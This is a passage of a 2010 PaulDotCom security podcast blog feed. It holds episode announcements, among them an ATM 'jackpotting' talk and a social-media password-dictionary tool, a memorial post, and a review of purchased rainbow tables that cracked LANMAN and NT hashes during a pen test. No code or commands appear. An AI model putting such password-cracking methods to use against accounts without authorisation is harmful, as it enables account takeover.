    <summary>Come join the discussion with Barnaby Jack for Episode 206 of PaulDotCom Security Weekly, at 7:30 PM EDT live Thursday evening. Barnaby will be discussing one of the hottest demos at the recent Black Hat security conference where he demonstrated...</summary>
    <author>
        <name>Mike Perez</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Come join the discussion with Barnaby Jack for <a href="http://pauldotcom.com/wiki/index.php/Episode206"> Episode 206</a> of PaulDotCom Security Weekly, at 7:30 PM EDT live Thursday evening.  Barnaby will be discussing <a href="http://www.youtube.com/watch?v=qwMuMSPW3bU"> one of the hottest demos </a>at the recent Black Hat security conference where he demonstrated ATM "jackpotting".</p>

<p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="JoinUs.jpg" src="http://pauldotcom.com/JoinUs.jpg" width="350" height="374" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span><div style="text-align:center;"><strong>"So Paul, what do you say to having Barnaby give you a hand with your ATM transactions from now on?" </strong></div></p>

<p>Mark Baggett will also be discussing a new tool that he wrote, similar to CeWL, Mark's code will generate a custom password dictionary for a specified user using Social Networking sites!</p>

<p>Join the IRC channel during the stream - we can take live comments and discussion from the channel!  Find us on IRC at irc.freenode.net #pauldotcom (You will be required to register in order to chat in the channel, this is an anti-spam measure).</p>

<p>When active, the live stream(s) can be found at:</p>

<p><a href="http://pauldotcom.com/livestream-chat.html">PaulDotCom Live!</a> - You can watch the live video, listen, and chat during each episode! You can access the streaming videos at any time by visiting <a href="http://pauldotcom.com/live/">http://pauldotcom.com/live/</a></p>

<p><a href="http://radio.pauldotcom.com:8000">PaulDotCom Icecast Radio (Audio Only)</a></p>

<p>Break out your adult beverage of choice and join us, enjoy the show live, and thanks for listening!</p>

<p>- Paul "Salad Shooter" Asadoorian, Larry "HaxorTheMatrix" Pesce, Carlos "Dark 0perator" Perez, Darren "The Other Guy" Wigley, John "The Father" Strand, and Mark "Quiet but Deadly" Baggett.<blockquote></blockquote></p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom Security Weekly - Episode 205 - Tribute to Mathew Shoemaker</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom-security-weekly---e-73.html" />
    <id>tag:pauldotcom.com,2010://1.910</id>

    <published>2010-08-06T02:56:50Z</published>
    <updated>2010-08-06T02:56:53Z</updated>

    <summary>This is a very different episode of our podcast. I wanted to take a moment to tell all of our listeners about a recent tragedy. Last Friday night Matthew Shoemaker, co-founder of the Infosec daily podcast, passed away. Mathew left...</summary>
    <author>
        <name>Paul Asadoorian</name>
        
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>This is a very different episode of our podcast.  I wanted to take a moment to tell all of our listeners about a recent tragedy. Last Friday night Matthew Shoemaker, co-founder of the Infosec daily podcast, passed away.  Mathew left behind a wife and two children and will be missed greatly.  I appeared on an episode of the <a href="http://www.infosecdaily.com">ISD podcast</a>, and had a fantastic time talking to Rick and Matt.  In fact, Rick and Matt were scheduled to be on tonight's show.  Instead, I'l like to take a moment to tell all of our listeners how they can donate to support Matt's family. Simply go to <a href="http://pauldotcom.com/shoemaker">http://pauldotcom.com/shoemaker</a>.  This will re-direct you to a site where you can use Paypal to make a donation to Matt's family.  While I didn't know Matt all that well, it was a great time when I appeared on his show and I know many are grieving his loss.</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//2010-03-31.png" alt="2010-03-31.png" border="0" width="432" height="396" /></div>
<div style="text-align:center;"><strong>Matthew Shoemaker 1973 – 2010</strong></div>

<p><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-episode205.mp3">Direct Audio Download</a></p>

<p>From all of us at Pauldotcom we extend our deepest symapthies.</p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom Security Weekly - Episode 204 - August 2, 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/pauldotcom-security-weekly---e-72.html" />
    <id>tag:pauldotcom.com,2010://1.909</id>

    <published>2010-08-02T20:23:14Z</published>
    <updated>2010-08-02T20:23:17Z</updated>

    <summary>Our sincerest condolences go out to the friends and family of Mathew Shoemaker of the Infosec Daily Podcast. He will be missed for sure. We will dedicate a special episode to Matthew later this week. Episode 204 Show Notes Paul...</summary>
    <author>
        <name>Paul Asadoorian</name>
        
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><strong><em>Our sincerest condolences go out to the friends and family of<a href="http://www.isdpodcast.com/goodbye-farewall-god-bless/"> Mathew Shoemaker of the Infosec Daily Podcast</a>.  He will be missed for sure.  We will dedicate a special episode to Matthew later this week.</em></strong></p>

<p><a href="http://pauldotcom.com/wiki/index.php/Episode204">Episode 204 Show Notes</a></p>

<p>Paul and John shoot the breeze on a lazy summer night and talk about Linux honeyports, vulnerability scanning vs. penetration testing, IPv6 host discovery, and attacking consumer devices.</p>

<p>* Sorry for the audio lag and weirdness it will be better once the new studio is complete!</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//internpassedout.png" alt="internpassedout.png" border="0" width="400" height="300" /></div>
<div style="text-align:center;"><strong>Plane ticket to Las Vegas: $500. Admission ticket to Defcon $140. Hotel room: $99/night. Admission to exclusive Ninja Networks party: $0.  Passing out at party, getting your face written on, and having your picture taken with darktangent and others: Priceless.</strong></div>

<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-episode204.mp3">Episode 204 - Direct Audio Download</a></div>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>
]]>
        
    </content>
</entry>

<entry>
    <title>Excellent Rainbow Tables Service</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/08/excellent-rainbow-tables-servi.html" />
    <id>tag:pauldotcom.com,2010://1.908</id>

    <published>2010-08-01T17:05:51Z</published>
    <updated>2010-08-01T17:07:39Z</updated>

    <summary>Last ShmooCon something wicked and evil happened. The fine folks on the PDC mailing list decided it would be a great idea to have a place at Shmoo where we could all meet up and share Rainbow Tables. What a...</summary>
    <author>
        <name>John Strand</name>
        <uri>http://pauldotcom.com</uri>
    </author>
    
        <category term="Geek Stuff" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p>Last ShmooCon something wicked and evil happened.  The fine folks on the PDC mailing list decided it would be a great idea to have a place at Shmoo where we could all meet up and share Rainbow Tables.  What a grand idea!  After all, good Rainbow Tables can easily go well into the hundreds of gigabits so why not have a nice get together and share?</p>

<p>Small problem.  Everyone showed up with empty hard drives.  No one, not a single person, brought any tables at all. </p>

<p>Zip.</p>

<p><br />
<div style="text-align:center;"><img src="http://pauldotcom.com//Zip_disk.JPG" alt="Zip_disk.JPG" border="0" width="342" height="337" /></div><br />
<center><strong>Almost as crappy</strong></center></p>

<p><br />
Add to this the fact that my external hard drive with my Rainbow Tables crashed out on me last week.  So, we now have two important lessons to take from the Rainbow Tables saga.  Lesson one: no one is willing to share.   Lesson two: backups are kind of important. </p>

<p>To remedy this situation I went to the fine people at Project Rainbow Crack and ordered a new set of tables for NT and LANMAN hashes.  You may say that simply downloading them would be cheaper, and you would be right.  However, we were in a bind on a current pen test and needed them immediately.  Turns out it would be much faster to order them and have them shipped to us rather than download them. </p>

<p>I went to the section the Project Rainbowtable site to buy the <a href="http://project-rainbowcrack.com/buy.php">tables</a> and ordered the USD $300 set.  What I would get is a new 320 GB hard drive and the 272 GB of tables for LM and NT hashes to go with it. What I was not expecting was that overnight air was included in the cost. </p>

<p>These guys simply rock.  The service was excellent, and their packing…  well their packing was something to be seen to be belived.</p>

<p>As near as I could tell it was wrapped in bubble wrap, 4 years of newspaper compressed to 1" around the entire drive and the strongest tape known to man wrapped liberally around the drive.  </p>

<p>First, I needed the right tools.</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//2010-07-27 13.12.06.jpg" alt="2010-07-27 13.12.06.jpg" border="0" width="450" height="374" /></div>
<center><strong>Hard Liquor Not Optional</strong></center>

<p>Finally, I was able to squeeze the box out and see what was sent to me.  It was an external hard drive. No Liquor to replenish my stock.  It would have been better if there was alcohol in the package. For this reason, and this reason only, they get 4 out of 5 stars.</p>

<p><br />
Everything was in its place.  The tables, and the software to make them sing.  I was a bit disappointed to see that only the programs for Windows were included. A bit of a bummer, but that is ok.   There are plenty of places online to find Linux and OSX programs that work with the tables that were sent to me. </p>

<p>Oddly enough, the software was WinRAR protected with a password of "abcde12345".  I am pretty sure this has something to do with crypto export controls.  But it still made me chuckle.  </p>

<p>How did they work?  Beautifully.  We were able to crack an Admin LANMAN password hash in under 5 min, and a NT only hash in under 15min.  </p>

<p>When you get the tables there will be a couple of things that you will notice.  First, the tables are in .rtc format.  This is no big deal, except other tools like Cain and Able will need the tables to be in .rt format.  The fine folks at Project Rainbow Crack have a few excellent tools to covert the formats <a href="http://project-rainbowcrack.com/convert.htm"> here</a>.</p>

<p>I cannot recommend the product from the fine folks at Project Rainbow crack enough.  The drive is ok and the service was prompt and the tables worked.</p>

<p>Also, I am currently backing up the tables to two different drives. </p>

<p>Next year I will be bringing some tables to share.  </p>

<p>There are currently a number of great sites that offer free tables.  Below are just a few:</p>

<p>http://www.freerainbowtables.com/</p>

<p>http://ophcrack.sourceforge.net/tables.php</p>

<p>Before you come to Shmoo get some tables and bring them to share with everyone else. </p>

<p>We will not have a repeat from last year.</p>

<p>-strandjs<br />
</p>]]>
        
    </content>
</entry>

<entry>
    <title>PaulDotCom Security Weekly - Episode 203 - July 21 2010</title>
    <link rel="alternate" type="text/html" href="http://pauldotcom.com/2010/07/pauldotcom-security-weekly---e-71.html" />
    <id>tag:pauldotcom.com,2010://1.907</id>

    <published>2010-07-31T13:35:15Z</published>
    <updated>2010-07-31T13:35:18Z</updated>

    <summary>Episode 203 Show Notes Episode 202 John &amp; Paul get busy wit&apos; it and do the humpty dance. Featuring Alex Lanstein from Fireeye. Yes, Larry gets another mohawk at Defcon, proving well, you can get a mohawk at Defcon Episode...</summary>
    <author>
        <name>Paul Asadoorian</name>
        
    </author>
    
        <category term="Security Weekly" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://pauldotcom.com/">
        <![CDATA[<p><a href="http://pauldotcom.com/wiki/index.php/Episode203">Episode 203 Show Notes</a><br />
<strong>Episode 202</strong>  </p>

<p>John &  Paul get busy wit' it and do the humpty dance.  Featuring Alex Lanstein from Fireeye.</p>

<div style="text-align:center;"><img src="http://pauldotcom.com//larrymowhawkagain.jpg" alt="larrymowhawkagain.jpg" border="0" width="299" height="400" /></div>
<center><strong>Yes, Larry gets another mohawk at Defcon, proving well, you can get a mohawk at Defcon</strong></center>

<div style="text-align:center;"><a href="http://traffic.libsyn.com/pauldotcom/pauldotcom-SW-episode203.mp3">Episode 203 - Direct Audio Download</a></div>

<p>Hosts: <a href="http://pauldotcom.com">Paul "PaulDotCom" Asadoorian</a>,<a href="http://www.pauldotcom.com">John Strand</a></p>

<p>Audio Feeds: <a href="http://pauldotcom.com/podcast/psw.xml"><img src="http://pauldotcom.com/images/xml.png"></a>  <a href="http://www.odeo.com/channel/38062/view"><img src="http://pauldotcom.com/images/badge-channel-black.gif"></a><a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=91472687"> <img src="http://pauldotcom.com/images/itunes.gif"></a></p>]]>
        
    </content>
</entry>

</feed>
